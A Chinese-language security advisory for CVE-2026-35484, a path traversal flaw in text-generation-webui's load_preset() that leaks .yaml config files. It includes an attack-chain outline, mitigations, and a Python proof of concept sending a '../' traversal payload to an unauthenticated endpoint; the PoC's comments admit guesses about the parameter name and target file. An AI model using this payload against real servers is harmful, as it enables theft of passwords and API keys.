IPBUF安全漏洞报告
English
CVE-2026-35484 CVSS 5.3 中危

CVE-2026-35484 text-generation-webui路径遍历漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35484
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
text-generation-webui

相关标签

路径遍历信息泄露text-generation-webuiLLMCVE-2026-35484

漏洞概述

text-generation-webui是用于运行大型语言模型的开源Web界面。在4.3版本之前,系统中存在未经身份验证的路径遍历漏洞。攻击者可以通过操纵load_preset()函数,读取服务器文件系统上的任意.yaml文件。此漏洞会导致敏感数据泄露,如密码、API密钥及连接字符串等。目前该漏洞已在4.3版本中得到修复。

技术细节

该漏洞的根本原因在于text-generation-webui项目中的load_preset()函数未能正确验证用户提供的输入参数。在受影响的版本中,攻击者无需经过任何身份认证,即可向服务器发起恶意请求。由于缺乏对路径遍历序列(例如"../")的有效过滤,攻击者可以利用此缺陷跳出预设目录,进而读取服务器文件系统上任意位置的.yaml配置文件。系统随后会解析这些文件的内容,并将包含敏感信息的键值对直接通过API响应返回给攻击者。泄露的信息可能包括但不限于管理员密码、第三方API密钥以及数据库连接字符串等。虽然该漏洞主要影响机密性,但获取的敏感凭证可能导致后续更严重的系统入侵。

攻击链分析

STEP 1
侦察
识别运行text-generation-webui且版本低于4.3的目标服务器。
STEP 2
武器化
构造包含路径遍历字符(如../)的恶意HTTP请求,指向服务器上的敏感.yaml配置文件。
STEP 3
投递
通过互联网向目标服务器的load_preset接口发送构造好的恶意请求,无需任何身份认证。
STEP 4
利用
服务器端程序解析恶意请求,由于未正确过滤路径,读取了指定的任意.yaml文件内容。
STEP 5
渗透
服务器将解析后的YAML内容(可能包含API密钥、密码等敏感信息)返回给攻击者,造成数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://localhost:7860/api/v1/load-preset" # Malicious payload to traverse directories and read a config file # Assuming the endpoint takes a 'preset_name' parameter payload = { "preset_name": "../../../../../../etc/passwd.yaml" # Example target, though it specifically looks for .yaml } try: # Send the request without authentication response = requests.get(target_url, params=payload, timeout=10) # Check if the request was successful if response.status_code == 200: print("[+] Request successful!") print("[+] Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

text-generation-webui < 4.3

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙中限制对相关API端点的访问权限,或暂时停止服务。同时,应立即轮换可能已泄露的API密钥和数据库密码,并审查系统中的.yaml配置文件权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表